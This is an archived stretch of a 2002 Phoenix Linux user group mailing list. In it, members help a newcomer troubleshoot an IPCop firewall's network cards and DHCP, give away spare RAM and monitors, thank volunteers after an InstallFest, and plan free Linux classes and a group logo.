Sun, 23 Jun 2002 13:36:42 -0700 Subject: IPCop In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> References: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020623133642.60be64d3.snoogans@qwest.net> okay an update in progress ... i am very sure its something i am doing wrong now because i have tried two different NIC's and both of them work fine as the RED NIC but not the GREEN NIC. what happens is the red nic works fine and my firewall gets internet but its not forwarding it out to the rest of my network. the green NIC isn't even lit up in the back. what am i doing wrong? i followed the instructions on thier website but it wont work =/ On Sun, 23 Jun 2002 01:05:08 -0700 "robert jorgenson" wrote: > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > -Robert > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 21:11:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 23 Jun 2002 14:11:53 -0700 (PDT) Subject: IPCop In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020623211153.70973.qmail@web13404.mail.yahoo.com> --- robert jorgenson wrote: > i was at the installfest today and installed IPCop > on an extra box that i had, im trying to figure out > how i need to set it up, i have qwest's vdsl which > means that there is this gateway box sitting in our > living room with a TV cable in and a TV cable and > ethernate cable out acting as a dhcp server. I would > assume i setup IPCop to get its ip from the gateway > box and set it to act as a dhcp server for the rest > of my network, however i am very new to networking > and i am not sure exactly if that will work or what > i have to do, any pointers in the right direction > would be great :) Im reading the docs on the IPCop > website right now hopefully i will come up with > something from there too. Hey Robert (it's me feend), I'm using IPCop too. I have it setup though so that just the gateway machine is using dhcp to get an IP. My other machines are using the unreserved 192.168.x.x range. So like the machine i'm on right now is 192.168.1.2 and I have a second nic in the gateway machine with the IP 192.168.1.1. IP cop makes this process pretty easy and enables NAT by default. Hope that helped some. If you're still stuck I'll get on irc and try and talk you through it. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 21:47:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 14:47:25 -0700 Subject: IPCop In-Reply-To: <20020623211153.70973.qmail@web13404.mail.yahoo.com> References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623211153.70973.qmail@web13404.mail.yahoo.com> Message-ID: <20020623144725.2569709b.snoogans@qwest.net> Okay right now i have it set up so that the IPCop box uses dhcp to get an ip from the qwest gateway box. I enabled the dhcp server on the IPCop box so the rest of my box's on the netwrok get an IP using the range 192.168.1.200/250 the adress of the green nic is 192.168.1.1 and the red nic is dhcp. when i try and get an address on my box it just fails, did i miss an option or something? or am i doing it completely wrong? On Sun, 23 Jun 2002 14:11:53 -0700 (PDT) "bob smith" wrote: > > --- robert jorgenson wrote: > > i was at the installfest today and installed IPCop > > on an extra box that i had, im trying to figure out > > how i need to set it up, i have qwest's vdsl which > > means that there is this gateway box sitting in our > > living room with a TV cable in and a TV cable and > > ethernate cable out acting as a dhcp server. I would > > assume i setup IPCop to get its ip from the gateway > > box and set it to act as a dhcp server for the rest > > of my network, however i am very new to networking > > and i am not sure exactly if that will work or what > > i have to do, any pointers in the right direction > > would be great :) Im reading the docs on the IPCop > > website right now hopefully i will come up with > > something from there too. > > Hey Robert (it's me feend), > I'm using IPCop too. I have it setup though so that > just the gateway machine is using dhcp to get an IP. > My other machines are using the unreserved 192.168.x.x > range. So like the machine i'm on right now is > 192.168.1.2 and I have a second nic in the gateway > machine with the IP 192.168.1.1. IP cop makes this > process pretty easy and enables NAT by default. Hope > that helped some. If you're still stuck I'll get on > irc and try and talk you through it. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:57:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Thu, 20 Jun 2002 11:57:41 -0700 Subject: Free RAM to good home In-Reply-To: <20020623184823.GX8953@ecloud.org> References: <20020623003805.4cb21b9f.wokan@cox.net> <20020623184823.GX8953@ecloud.org> Message-ID: <200206201157.41808.wokan@cox.net> I have yet to make any of the meetings. By the time I get off work and pick up my kid from daycare, there's no time to get to a meeting. I'm up by FLW and the 101, so the traffic is a PITA. (I need to make better use of my TLA's. :) ) On Sunday 23 June 2002 11:48, Shawn Rutledge wrote: > I want to try to make the next Stammtisch, or we can meet before then > if you like. > > On Sun, Jun 23, 2002 at 11:07:58AM -0700, Michelle Lowman wrote: > > One is all I need. Will you be at Glendale Tuesday? > > > > -----Original Message----- > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > > Wokan > > Sent: Sunday, June 23, 2002 12:38 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Free RAM to good home > > > > > > I believe I have 3 x 8MB. If you just need one, that leaves me a pair > > that Shawn can use in his systems. (Assuming he needs pairs.) > > > > On Sat, 22 Jun 2002 23:33:46 -0700 > > > > "Michelle Lowman" wrote: > > > If you still have an 8 lying around, let me know. Thanks! > > > > > > -----Original Message----- > > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of > > > Digital Wokan > > > Sent: Wednesday, June 19, 2002 12:32 PM > > > To: plug-discuss@lists.plug.phoenix.az.us > > > Subject: Free RAM to good home > > > > > > > > > I've got a bunch of 72 pin simms laying around from older upgrades. > > > > Anyone > > > > > with a 486 or really old Pentium/K5/M2 who could use them (more memory > > > for you Masq'ing router I'd guess) is welcome to them. Not sure what > > > their condition or capacity is in most cases. I'm sure I have at least > > > a pair > > > > of > > > > > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > > > Write back if interested. > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post > > > > > to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 00:42:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 23 Jun 2002 17:42:11 -0700 (PDT) Subject: IPCop In-Reply-To: <20020623144725.2569709b.snoogans@qwest.net> Message-ID: <20020624004211.89619.qmail@web13405.mail.yahoo.com> --- robert jorgenson wrote: > Okay right now i have it set up so that the IPCop > box uses dhcp to get an ip from the qwest gateway > box. I enabled the dhcp server on the IPCop box so > the rest of my box's on the netwrok get an IP using > the range 192.168.1.200/250 the adress of the green > nic is 192.168.1.1 and the red nic is dhcp. when i > try and get an address on my box it just fails, did > i miss an option or something? or am i doing it > completely wrong? This sounds like a problem I was having a while ago where I couldn't get a new IP via DHCP because the lease was still bound to the MAC address of the other NIC I was using (acronyms are great). Use the NIC that was originally in that machine (if you aren't already), and maybe that'll allow you to get online. ping will be your best friend in trying to see if the network is correct. See if you can ping QWest from the IPCop box. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 02:50:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sun, 23 Jun 2002 19:50:25 -0700 Subject: IPCop References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623133642.60be64d3.snoogans@qwest.net> Message-ID: <001401c21b29$e67ebd70$0301010a@tickticker.com> you do have the green nic cat5 cable plugged into another rj45 jack? you may need a crossover cable for this. sounds like the physical layer possibly. anthony ----- Original Message ----- From: "robert jorgenson" To: Sent: Sunday, June 23, 2002 1:36 PM Subject: Re: IPCop > okay an update in progress ... i am very sure its something i am doing wrong now because i have tried two different NIC's and both of them work fine as the RED NIC but not the GREEN NIC. what happens is the red nic works fine and my firewall gets internet but its not forwarding it out to the rest of my network. the green NIC isn't even lit up in the back. what am i doing wrong? i followed the instructions on thier website but it wont work =/ > > On Sun, 23 Jun 2002 01:05:08 -0700 > "robert jorgenson" wrote: > > > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > > > -Robert > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 06:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 23:00:00 -0700 Subject: IPCop In-Reply-To: <001401c21b29$e67ebd70$0301010a@tickticker.com> References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623133642.60be64d3.snoogans@qwest.net> <001401c21b29$e67ebd70$0301010a@tickticker.com> Message-ID: <20020623230000.0a02a67a.snoogans@qwest.net> what do you mean? i have it set up like this internet --> gateway box --> firewall --> hub --> network is there something wrong with that that i dont know about? On Sun, 23 Jun 2002 19:50:25 -0700 "tickticker" wrote: > you do have the green nic cat5 cable plugged into another rj45 jack? you > may need a crossover cable for this. sounds like the physical layer > possibly. > > anthony > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 23, 2002 1:36 PM > Subject: Re: IPCop > > > > okay an update in progress ... i am very sure its something i am doing > wrong now because i have tried two different NIC's and both of them work > fine as the RED NIC but not the GREEN NIC. what happens is the red nic works > fine and my firewall gets internet but its not forwarding it out to the rest > of my network. the green NIC isn't even lit up in the back. what am i doing > wrong? i followed the instructions on thier website but it wont work =/ > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > "robert jorgenson" wrote: > > > > > i was at the installfest today and installed IPCop on an extra box that > i had, im trying to figure out how i need to set it up, i have qwest's vdsl > which means that there is this gateway box sitting in our living room with a > TV cable in and a TV cable and ethernate cable out acting as a dhcp server. > I would assume i setup IPCop to get its ip from the gateway box and set it > to act as a dhcp server for the rest of my network, however i am very new to > networking and i am not sure exactly if that will work or what i have to do, > any pointers in the right direction would be great :) Im reading the docs on > the IPCop website right now hopefully i will come up with something from > there too. > > > > > > -Robert > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:06:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 24 Jun 2002 00:06:16 -0700 (MST) Subject: Danken nach dem InstallFest Message-ID: moin, moin, I wish to thank everyone who helped PLUG put on a very successful ( east side[1] ) InstallFest! Specifically I want to thank Bill for leading the project. He did a great job and recruited good help from Dennis, Alan, Susan, Vic, Jim and our gracious host Thurman to organize and promote the InstallFest. Thanks to Alan for begging on our behalf and getting the large pile of goodies. Many others helped in planning the InstallFest, including the questions on the PLUG list that reminded us of things we'd forgotten. I would also like to specifically thank those who came into town from Tucson and Flagstaff to help ( kudos to OSEF and RedHat for having good people in their orgs ). I can't forget to mention the Lycoris guys jaunting in from .ca.us! Crucial in making it all work, though, were all of you who showed up to help others or to get help! It looked like we were giving some excellent assistance. I overheard many people saying we were doing a great job. That, more importantly than the large number of participants we had, is what indicates a successful event to me. Thanks for all the work and congratulations on a job well done! ciao, der.hans [1] see the next email for this footnote :) -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:09:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 24 Jun 2002 00:09:39 -0700 (MST) Subject: the next projects Message-ID: moin, moin, We now have a couple of new challenges. One, as foreshadowed in parenthesis in the first sentence of the post I just sent, is to put on a successful west side InstallFest. That topic's been coming up since we started planning the InstallFest and I heard it requested many times Sat. YES!, we want to have a successful west side InstallFest. In order for it to happen, we need a few people to come forward to organize it. Please let me know if you'd like to work to make it happen. The other challenge is something I posted last week. We will be starting classes doing an Intro to GNU/Linux starting the first Wed of Sep. These classes will be open to the public and free of charge. They will be on the east side at Sequoia ( just a warning for the west-siders: we want to hold classes on your side of the planet as well ). We do not currently have a curriculum lined out or have presenters, so please feel free to step forward and help out :). We hope to run a six-month course with meetings once a month. The goal for the classes is to teach people who have no GNU/Linux experience ( maybe even no computer experience at all ) how to use the basic functionality of a GNU/Linux desktop. We intend to include several key applications such as Open Office, gimp and a mail client. ciao, der.hans -- # https://www.LuftHans.com/ # Two roads diverged in a wood, and I -- # I took the one less traveled by, # And that has made all the difference. -- Robert Frost # I, OTOH, prefer to just go stomping through the desert... - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:09:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Mon, 24 Jun 2002 00:09:03 -0700 Subject: Danken nach dem InstallFest In-Reply-To: Message-ID: <5.1.0.14.2.20020624000704.023a89d0@mail.scottsawyer.org> On this note there are images posted at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 year archives. -Scott At 12:06 AM 6/24/2002 -0700, der.hans wrote: >moin, moin, > >I wish to thank everyone who helped PLUG put on a very successful ( east >side[1] ) InstallFest! > >Specifically I want to thank Bill for leading the project. He did a great >job and recruited good help from Dennis, Alan, Susan, Vic, Jim and our >gracious host Thurman to organize and promote the InstallFest. > >Thanks to Alan for begging on our behalf and getting the large pile of >goodies. > >Many others helped in planning the InstallFest, including the questions on >the PLUG list that reminded us of things we'd forgotten. > >I would also like to specifically thank those who came into town from Tucson >and Flagstaff to help ( kudos to OSEF and RedHat for having good people in >their orgs ). I can't forget to mention the Lycoris guys jaunting in from >.ca.us! > >Crucial in making it all work, though, were all of you who showed up to >help others or to get help! > >It looked like we were giving some excellent assistance. I overheard many >people saying we were doing a great job. That, more importantly than the >large number of participants we had, is what indicates a successful event to >me. > >Thanks for all the work and congratulations on a job well done! > >ciao, > >der.hans > >[1] see the next email for this footnote :) >-- ># https://www.LuftHans.com/ ># Keine Ahnung, was ich dir sagen soll, ># keine Ahnung und keinen (.)plan. -- die Toten Hosen > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 12:44:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 05:44:31 -0700 Subject: Fwd: DesktopLinux.com: Declare your 'wIndependence' this July 4th! Message-ID: <02062405443200.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ---------- Forwarded Message ---------- Subject: DesktopLinux.com: Declare your 'wIndependence' this July 4th! Date: Fri, 21 Jun 2002 02:22:51 -0700 From: Jill Ratkevic To: contact@plug.phoenix.az.us I thought your members would like the opportunity to take part in this program. Thanks, Jill _________________ DesktopLinux.com today proclaimed July 4th, 2002 to be the first annual wIndependence Day. Coinciding with the US Independence Day holiday, wIndependence Day celebrates the burgeoning use of Linux on business, government, educational institution, and personal end-user computer desktops as an alternative to dependence on Microsoft's Windows operating system and associated products. Thousands of dollars worth of prizes for the celebration's essay contest are being donated by CodeWeavers, ELX, Lindows.com, Lycoris, MandrakeSoft, Opera, Sun Microsystems, SuSE, theKompany, and Ximian, providers of the leading desktop-oriented Linux distributions and productivity tools. To turbocharge this year's wIndependence Day celebration, DesktopLinux.com is inviting readers to send in their 500-1000 word accounts of how they have 'kicked the Windows habit' or implemented Linux as a Windows-alternative in their company or organization. Twenty-five of the best essays submitted by midnight July 3rd will be selected for publication at DesktopLinux.com beginning on July 4th, and their authors will be awarded prizes. Read the full story here and enter today! ===================================================================== Jill Ratkevic - jill@desktoplinux.com - 408-209-5181 Producer, DesktopLinux.com / Associate Producer, Linuxdevices.com LinuxDevices.com ... "the Embedded Linux Portal" DesktopLinux.com ... "Join the Desktop Linux Revolution!" DeviceForge, LLC -- PO Box 60973, Palo Alto, CA 94306 -- 650-325-9672 ==================================================================== - ------------------------------------------------------- - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRcUPisk3ywszI1FEQIQiACff772LuWTY3IrNDi+y+5k5MJPIPYAoK3l 48QBHBiesvmy/uUNrk1+Z3Sr =qoWJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 16:20:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 24 Jun 2002 09:20:58 -0700 Subject: IPCop In-Reply-To: <20020623230000.0a02a67a.snoogans@qwest.net> Message-ID: Is the cable connecting the firewall to the hub lighting up the port light on the hub? I agree with Anthony, it sounds like a physical layer issue. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert jorgenson Sent: Sunday, June 23, 2002 11:00 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: IPCop what do you mean? i have it set up like this internet --> gateway box --> firewall --> hub --> network is there something wrong with that that i dont know about? On Sun, 23 Jun 2002 19:50:25 -0700 "tickticker" wrote: > you do have the green nic cat5 cable plugged into another rj45 jack? you > may need a crossover cable for this. sounds like the physical layer > possibly. > > anthony > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 23, 2002 1:36 PM > Subject: Re: IPCop > > > > okay an update in progress ... i am very sure its something i am doing > wrong now because i have tried two different NIC's and both of them work > fine as the RED NIC but not the GREEN NIC. what happens is the red nic works > fine and my firewall gets internet but its not forwarding it out to the rest > of my network. the green NIC isn't even lit up in the back. what am i doing > wrong? i followed the instructions on thier website but it wont work =/ > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > "robert jorgenson" wrote: > > > > > i was at the installfest today and installed IPCop on an extra box that > i had, im trying to figure out how i need to set it up, i have qwest's vdsl > which means that there is this gateway box sitting in our living room with a > TV cable in and a TV cable and ethernate cable out acting as a dhcp server. > I would assume i setup IPCop to get its ip from the gateway box and set it > to act as a dhcp server for the rest of my network, however i am very new to > networking and i am not sure exactly if that will work or what i have to do, > any pointers in the right direction would be great :) Im reading the docs on > the IPCop website right now hopefully i will come up with something from > there too. > > > > > > -Robert > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:20:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 24 Jun 2002 10:20:37 -0700 (PDT) Subject: 15" Monitors available Message-ID: Silly me, I should have included monitors with the computers I was selling/donating previously. Anywho, I've got about 47 bazillion 15" monitors for your computing enjoyment. Say, $20 each? I might even give a discount if you buy in bulk. ;-) If you're a non-profit, the same rules apply as before with the computers. I'll need a receipt for the monitors with the total price (even though you'll get them for free). So stock up on monitors today! Hurry, while supplies last! Operators are standing by... ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:54:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Mon, 24 Jun 2002 10:54:18 -0700 Subject: IPCop In-Reply-To: References: <20020623230000.0a02a67a.snoogans@qwest.net> Message-ID: <20020624105418.34bc7aff.snoogans@qwest.net> no its not, i figured it wasn't lighting up because it wasn't configured right and wasn't sending anythign out so it didn't light up, what kind of solutions could there be to this problem On Mon, 24 Jun 2002 09:20:58 -0700 "Gilbert T. Gutierrez, Jr." wrote: > Is the cable connecting the firewall to the hub lighting up the port light > on the hub? I agree with Anthony, it sounds like a physical layer issue. > > Gilbert > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert > jorgenson > Sent: Sunday, June 23, 2002 11:00 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: IPCop > > > what do you mean? i have it set up like this > > internet --> gateway box --> firewall --> hub --> network > > is there something wrong with that that i dont know about? > > On Sun, 23 Jun 2002 19:50:25 -0700 > "tickticker" wrote: > > > you do have the green nic cat5 cable plugged into another rj45 jack? you > > may need a crossover cable for this. sounds like the physical layer > > possibly. > > > > anthony > > > > ----- Original Message ----- > > From: "robert jorgenson" > > To: > > Sent: Sunday, June 23, 2002 1:36 PM > > Subject: Re: IPCop > > > > > > > okay an update in progress ... i am very sure its something i am doing > > wrong now because i have tried two different NIC's and both of them work > > fine as the RED NIC but not the GREEN NIC. what happens is the red nic > works > > fine and my firewall gets internet but its not forwarding it out to the > rest > > of my network. the green NIC isn't even lit up in the back. what am i > doing > > wrong? i followed the instructions on thier website but it wont work =/ > > > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > > "robert jorgenson" wrote: > > > > > > > i was at the installfest today and installed IPCop on an extra box > that > > i had, im trying to figure out how i need to set it up, i have qwest's > vdsl > > which means that there is this gateway box sitting in our living room with > a > > TV cable in and a TV cable and ethernate cable out acting as a dhcp > server. > > I would assume i setup IPCop to get its ip from the gateway box and set it > > to act as a dhcp server for the rest of my network, however i am very new > to > > networking and i am not sure exactly if that will work or what i have to > do, > > any pointers in the right direction would be great :) Im reading the docs > on > > the IPCop website right now hopefully i will come up with something from > > there too. > > > > > > > > -Robert > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Mon, 24 Jun 2002 11:18:13 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206241118.13508.zen2now@qwest.net> i spoke with austin, and sometime this week he will make available the master. slr On Thursday 20 June 2002 05:39 pm, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > is there a master format you can post? such as a PNG, PSD, etc. with > layers and sprites intact? > > > "Black holes are where God divided by zero." > -- Steven Wright > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr > Sent: Thursday, June 20, 2002 5:27 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug Logo Update > > > well austin is the man, he is done. so for all you guys and gals who > are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new > > image. Austin is done with the complete re-draw of Tux, and i must > > say it is the most beautiful computer generated Tux image i have > > ever seen. the lines are so clean, and aliasing is non-existent on > > the edges and should remain that way no matter how big or small the > > image is. he would have already been done with it, but our CEO has > > slammed him with a lot of work. so hopefully by next week sometime > > we will have a complete vector image, and by looks of it so far, > > one we will all be very proud to hang across our upper torso's. :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write > > mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z > 